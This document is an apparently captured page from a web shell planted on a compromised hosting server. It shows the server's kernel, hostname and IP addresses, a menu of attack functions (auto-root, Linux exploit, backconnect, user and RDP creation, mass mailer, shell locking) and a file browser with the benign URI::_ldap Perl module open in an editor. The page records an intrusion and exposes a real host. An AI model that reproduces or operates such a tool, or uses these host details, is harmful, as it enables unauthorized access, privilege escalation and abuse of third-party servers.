Linux boca.hozzt.com 4.18.0-553.8.1.lve.el8.x86_64 #1 SMP Thu Jul 4 16:24:39 UTC 2024 x86_64
LiteSpeed
: 159.253.39.62 | : 18.188.143.21
Cant Read [ /etc/named.conf ]
7.4.33
renovkoron
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
usr /
share /
perl5 /
URI /
[ HOME SHELL ]
Name
Size
Permission
Action
file
[ DIR ]
drwxr-xr-x
urn
[ DIR ]
drwxr-xr-x
Escape.pm
6.9
KB
-rw-r--r--
Heuristic.pm
6.37
KB
-rw-r--r--
IRI.pm
820
B
-rw-r--r--
QueryParam.pm
4.77
KB
-rw-r--r--
Split.pm
2.32
KB
-rw-r--r--
URL.pm
5.36
KB
-rw-r--r--
WithBase.pm
3.77
KB
-rw-r--r--
_foreign.pm
133
B
-rw-r--r--
_generic.pm
5.71
KB
-rw-r--r--
_idna.pm
2.06
KB
-rw-r--r--
_ldap.pm
3.2
KB
-rw-r--r--
_login.pm
257
B
-rw-r--r--
_punycode.pm
5.52
KB
-rw-r--r--
_query.pm
2.5
KB
-rw-r--r--
_segment.pm
442
B
-rw-r--r--
_server.pm
3.66
KB
-rw-r--r--
_userpass.pm
1.04
KB
-rw-r--r--
data.pm
3.34
KB
-rw-r--r--
file.pm
9.53
KB
-rw-r--r--
ftp.pm
1.06
KB
-rw-r--r--
gopher.pm
2.4
KB
-rw-r--r--
http.pm
451
B
-rw-r--r--
https.pm
170
B
-rw-r--r--
ldap.pm
2.88
KB
-rw-r--r--
ldapi.pm
467
B
-rw-r--r--
ldaps.pm
170
B
-rw-r--r--
mailto.pm
1.27
KB
-rw-r--r--
mms.pm
151
B
-rw-r--r--
news.pm
1.45
KB
-rw-r--r--
nntp.pm
153
B
-rw-r--r--
pop.pm
1.2
KB
-rw-r--r--
rlogin.pm
155
B
-rw-r--r--
rsync.pm
233
B
-rw-r--r--
rtsp.pm
151
B
-rw-r--r--
rtspu.pm
152
B
-rw-r--r--
sftp.pm
124
B
-rw-r--r--
sip.pm
1.69
KB
-rw-r--r--
sips.pm
169
B
-rw-r--r--
snews.pm
198
B
-rw-r--r--
ssh.pm
201
B
-rw-r--r--
telnet.pm
154
B
-rw-r--r--
tn3270.pm
154
B
-rw-r--r--
urn.pm
2.15
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : _ldap.pm
# Copyright (c) 1998 Graham Barr <gbarr@pobox.com>. All rights reserved. # This program is free software; you can redistribute it and/or # modify it under the same terms as Perl itself. package URI::_ldap; use strict; use warnings; our $VERSION = '1.73'; $VERSION = eval $VERSION; use URI::Escape qw(uri_unescape); sub _ldap_elem { my $self = shift; my $elem = shift; my $query = $self->query; my @bits = (split(/\?/,defined($query) ? $query : ""),("")x4); my $old = $bits[$elem]; if (@_) { my $new = shift; $new =~ s/\?/%3F/g; $bits[$elem] = $new; $query = join("?",@bits); $query =~ s/\?+$//; $query = undef unless length($query); $self->query($query); } $old; } sub dn { my $old = shift->path(@_); $old =~ s:^/::; uri_unescape($old); } sub attributes { my $self = shift; my $old = _ldap_elem($self,0, @_ ? join(",", map { my $tmp = $_; $tmp =~ s/,/%2C/g; $tmp } @_) : ()); return $old unless wantarray; map { uri_unescape($_) } split(/,/,$old); } sub _scope { my $self = shift; my $old = _ldap_elem($self,1, @_); return undef unless defined wantarray && defined $old; uri_unescape($old); } sub scope { my $old = &_scope; $old = "base" unless length $old; $old; } sub _filter { my $self = shift; my $old = _ldap_elem($self,2, @_); return undef unless defined wantarray && defined $old; uri_unescape($old); # || "(objectClass=*)"; } sub filter { my $old = &_filter; $old = "(objectClass=*)" unless length $old; $old; } sub extensions { my $self = shift; my @ext; while (@_) { my $key = shift; my $value = shift; push(@ext, join("=", map { $_="" unless defined; s/,/%2C/g; $_ } $key, $value)); } @ext = join(",", @ext) if @ext; my $old = _ldap_elem($self,3, @ext); return $old unless wantarray; map { uri_unescape($_) } map { /^([^=]+)=(.*)$/ } split(/,/,$old); } sub canonical { my $self = shift; my $other = $self->_nonldap_canonical; # The stuff below is not as efficient as one might hope... $other = $other->clone if $other == $self; $other->dn(_normalize_dn($other->dn)); # Should really know about mixed case "postalAddress", etc... $other->attributes(map lc, $other->attributes); # Lowercase scope, remove default my $old_scope = $other->scope; my $new_scope = lc($old_scope); $new_scope = "" if $new_scope eq "base"; $other->scope($new_scope) if $new_scope ne $old_scope; # Remove filter if default my $old_filter = $other->filter; $other->filter("") if lc($old_filter) eq "(objectclass=*)" || lc($old_filter) eq "objectclass=*"; # Lowercase extensions types and deal with known extension values my @ext = $other->extensions; for (my $i = 0; $i < @ext; $i += 2) { my $etype = $ext[$i] = lc($ext[$i]); if ($etype =~ /^!?bindname$/) { $ext[$i+1] = _normalize_dn($ext[$i+1]); } } $other->extensions(@ext) if @ext; $other; } sub _normalize_dn # RFC 2253 { my $dn = shift; return $dn; # The code below will fail if the "+" or "," is embedding in a quoted # string or simply escaped... my @dn = split(/([+,])/, $dn); for (@dn) { s/^([a-zA-Z]+=)/lc($1)/e; } join("", @dn); } 1;
Close